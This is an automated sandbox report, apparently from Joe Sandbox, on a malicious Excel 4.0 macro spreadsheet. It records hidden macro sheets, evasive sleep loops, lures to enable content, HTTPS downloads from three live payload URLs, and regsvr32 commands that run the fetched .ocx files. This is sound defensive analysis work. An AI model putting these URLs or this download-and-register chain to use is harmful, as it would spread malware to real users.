Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\regsvr32.exe TID: 1172	Thread sleep count: 111 > 30	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2128	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2728	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: EXCEL.EXE, 00000000.00000003.567492651.00000000080CA000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567317162.0000000007FFD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567309413.000000000594F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567301976.0000000005A56000.00000004.00000001.sdmp

Binary or memory string: vNWziajHgfS7tFDWOKyqrQrqAAAAAAAAAAAABkYAAAAAAAAAAAAAAHQWW/RLD1fagfOsuPn2DzAD

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Source: Yara match	File source: counter-1248368226.xls, type: SAMPLE
Source: Yara match	File source: C:\Users\user\Desktop\counter-1248368226.xls, type: DROPPED

Source: EXCEL.EXE, 00000000.00000002.770115038.00000000007F0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.770115038.00000000007F0000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: EXCEL.EXE, 00000000.00000002.770115038.00000000007F0000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.241.2.78	playsis.com.br	United States	26337	OIS1US	false
108.179.192.98	greenflag.esp.br	United States	46606	UNIFIEDLAYER-AS-1US	false
103.28.36.171	noithat117.vn	Viet Nam	131353	NHANHOA-AS-VNNhanHoaSoftwarecompanyVN	false

Contacted Domains

Name	IP	Active
greenflag.esp.br	108.179.192.98	true
playsis.com.br	162.241.2.78	true
noithat117.vn	103.28.36.171	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://noithat117.vn/TSh7GBeIR/tiynh.html	false	Avira URL Cloud: safe	unknown
https://greenflag.esp.br/yuINdRbM/tiynh.html	false	Avira URL Cloud: safe	unknown
https://playsis.com.br/qJSL1BN5V/tiynh.html	true	Avira URL Cloud: malware	unknown

AV Detection:

Multi AV Scanner detection for submitted file

Source: counter-1248368226.xls

ReversingLabs: Detection: 40%

Antivirus detection for URL or domain

Source: https://playsis.com.br/Y~T	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSi	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BN5V/tiynh.html117.vn/TSh7GBeIR/tiynh.htmlink	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL117.	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BN5V/tiynh.html5	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1B.b	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qhtt	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BN5V/tiynh.html	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BNt	Avira URL Cloud: Label: malware

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 108.179.192.98:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.28.36.171:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.2.78:443 -> 192.168.2.22:49169 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 108.179.192.98:443

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: greenflag.esp.br

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 108.179.192.98:443

Source: excel.exe

Memory has grown: Private usage: 4MB later: 30MB

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /yuINdRbM/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: greenflag.esp.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /TSh7GBeIR/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: noithat117.vnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qJSL1BN5V/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: playsis.com.brConnection: Keep-Alive

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 162.241.2.78 162.241.2.78
Source: Joe Sandbox View	IP Address: 108.179.192.98 108.179.192.98
Source: Joe Sandbox View	IP Address: 103.28.36.171 103.28.36.171

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

Source: EXCEL.EXE, 00000000.00000003.564246269.0000000007FFF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.774801999.0000000007FF0000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567317162.0000000007FFD000.00000004.00000001.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comB equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EXCEL.EXE, 00000000.00000003.564246269.0000000007FFF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.774801999.0000000007FF0000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567317162.0000000007FFD000.00000004.00000001.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: EXCEL.EXE, 00000000.00000002.775151480.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564294581.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567383807.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564281653.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567411737.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775255583.0000000008068000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: EXCEL.EXE, 00000000.00000002.775151480.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567383807.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564281653.0000000008043000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EXCEL.EXE, 00000000.00000003.564294581.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567411737.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775255583.0000000008068000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000003.00000002.504300756.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443258094.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.503985491.0000000001D50000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.441043592.0000000001CC0000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.504300756.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443258094.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: EXCEL.EXE, 00000000.00000003.564287009.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775190147.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567396088.0000000008058000.00000004.00000001.sdmp	String found in binary or memory: https://greenflag.esp.br/
Source: EXCEL.EXE, 00000000.00000003.564287009.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775190147.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567396088.0000000008058000.00000004.00000001.sdmp	String found in binary or memory: https://greenflag.esp.br/s
Source: EXCEL.EXE, 00000000.00000002.773658206.00000000058D2000.00000004.00000001.sdmp	String found in binary or memory: https://greenflag.esp.br/yuINdRbM/tiynh.html
Source: EXCEL.EXE, 00000000.00000003.645341945.0000000005925000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.773729987.0000000005929000.00000004.00000001.sdmp	String found in binary or memory: https://noithat117.vn/
Source: EXCEL.EXE, 00000000.00000002.773658206.00000000058D2000.00000004.00000001.sdmp	String found in binary or memory: https://noithat117.vn/TSh7GBeIR/tiynh.html
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.boi
Source: EXCEL.EXE, 00000000.00000003.645341945.0000000005925000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.773729987.0000000005929000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/
Source: EXCEL.EXE, 00000000.00000003.645341945.0000000005925000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.773729987.0000000005929000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/Y~T
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL117.
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1B.b
Source: EXCEL.EXE, 00000000.00000002.775298958.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564300874.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567427727.0000000008076000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BN5V/tiynh.html
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BN5V/tiynh.html117.vn/TSh7GBeIR/tiynh.htmlink
Source: EXCEL.EXE, 00000000.00000002.775298958.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564300874.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567427727.0000000008076000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BN5V/tiynh.html5
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BNt
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSi
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qhtt
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.cre
Source: EXCEL.EXE, 00000000.00000002.775151480.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564294581.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567383807.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564281653.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567411737.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775255583.0000000008068000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\tiynh[1].htm

Jump to behavior

Source: unknown

DNS traffic detected: queries for: greenflag.esp.br

Source: global traffic	HTTP traffic detected: GET /yuINdRbM/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: greenflag.esp.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /TSh7GBeIR/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: noithat117.vnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qJSL1BN5V/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: playsis.com.brConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 108.179.192.98:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.28.36.171:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.2.78:443 -> 192.168.2.22:49169 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 18 19 I OK I 20 (D PROTECTED VIEW Be careful - files from the lnterne 1' 1 View
Source: Screenshot number: 4	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Screenshot number: 8	Screenshot OCR: Enable Editing 18 '9 41' I 20 (D PROTECTED VIEW Be careful - files from the lnterne -cted View.
Source: Screenshot number: 8	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Screenshot number: 12	Screenshot OCR: Enable Editing Ik No RETURNQ or HALTQ funaon found on macro sheet. 18 19 I " I 20 (D PROTECTED V
Source: Screenshot number: 12	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Screenshot number: 16	Screenshot OCR: Enable Editing d 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
Source: Screenshot number: 16	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing CD PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 0	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content If you are using a mobi
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing 1 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 1	Screenshot OCR: Enable Content DSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Screenshot number: 20	Screenshot OCR: Enable Editing d 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
Source: Screenshot number: 20	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 Z

Yara signature match

Source: counter-1248368226.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\counter-1248368226.xls, type: DROPPED	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Found a hidden Excel 4.0 Macro sheet

Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor3
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor6
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor2
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor1
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor4
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor5

Document contains embedded VBA macros

Source: counter-1248368226.xls	OLE indicator, VBA macros: true
Source: counter-1248368226.xls.0.dr	OLE indicator, VBA macros: true

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: FFC2.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: counter-1248368226.xls

ReversingLabs: Detection: 40%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: counter-1248368226.xls	OLE indicator, Workbook stream: true
Source: counter-1248368226.xls.0.dr	OLE indicator, Workbook stream: true

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
